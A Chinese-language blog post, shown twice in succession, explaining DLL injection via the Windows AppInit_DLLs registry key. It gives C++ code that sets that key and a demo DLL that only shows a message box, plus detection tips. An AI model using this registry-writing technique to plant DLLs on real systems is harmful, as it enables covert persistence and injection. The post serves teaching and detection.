进程注入之AppInit_DLLs注册表项

User32.dll被加载到进程时,会获取AppInit_DLLs注册表项,若有值,则调用LoadLibrary() API加载用户DLL。只会影响加载了user32.dll的进程。

1
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include 
#include
using namespace std;

int test()
{
HKEY hKey;
DWORD dwDisposition;
const char path[] = "C:\\dll.dll";
DWORD dwData = 1;
RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "AppInit_DLLs", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
RegSetValueExA(hKey, "LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD));
return 0;
}

int main()
{
test();
//system("pause");
return 0;
}

复现过程

将以上代码编译为exe文件,放到测试机运行会产生一下注册项
修改过后如下图所示:
img
dll代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
MessageBoxA(0, "hello qianxiao996", "AppCert", 0);
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

运行cmd.exe,就会发现cmd.exe已经加载指定dll,并弹框。
img
此注册表项下的每个库都会加载到每个加载User32.dll的进程中。User32.dll是一个非常常见的库,用于存储对话框等图形元素。恶意软件可以在Appinit_Dlls注册表项下插入其恶意库的位置,以使另一个进程加载其库。因此,当恶意软件修改此子键时,大多数进程将加载恶意库。

检查及清除方法

  • 监测加载User32.dll的进程的dll的加载,特别是查找不是通常的dll,或者不是正常加载的dll。

  • 监视AppInit_DLLs注册表值。

  • 监视和分析注册表编辑的API调用,如RegCreateKeyEx和RegSetValueEx。进程注入之AppInit_DLLs注册表项

    User32.dll被加载到进程时,会获取AppInit_DLLs注册表项,若有值,则调用LoadLibrary() API加载用户DLL。只会影响加载了user32.dll的进程。

    1
    HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls

    代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #include 
    #include
    using namespace std;

    int test()
    {
    HKEY hKey;
    DWORD dwDisposition;
    const char path[] = "C:\\dll.dll";
    DWORD dwData = 1;
    RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
    RegSetValueExA(hKey, "AppInit_DLLs", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
    RegSetValueExA(hKey, "LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD));
    return 0;
    }

    int main()
    {
    test();
    //system("pause");
    return 0;
    }

    复现过程

    将以上代码编译为exe文件,放到测试机运行会产生一下注册项
    修改过后如下图所示:
    img
    dll代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "stdafx.h"

    BOOL APIENTRY DllMain( HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
    )
    {
    MessageBoxA(0, "hello qianxiao996", "AppCert", 0);
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    break;
    }
    return TRUE;
    }

    运行cmd.exe,就会发现cmd.exe已经加载指定dll,并弹框。
    img
    此注册表项下的每个库都会加载到每个加载User32.dll的进程中。User32.dll是一个非常常见的库,用于存储对话框等图形元素。恶意软件可以在Appinit_Dlls注册表项下插入其恶意库的位置,以使另一个进程加载其库。因此,当恶意软件修改此子键时,大多数进程将加载恶意库。

    检查及清除方法

    • 监测加载User32.dll的进程的dll的加载,特别是查找不是通常的dll,或者不是正常加载的dll。
    • 监视AppInit_DLLs注册表值。
    • 监视和分析注册表编辑的API调用,如RegCreateKeyEx和RegSetValueEx。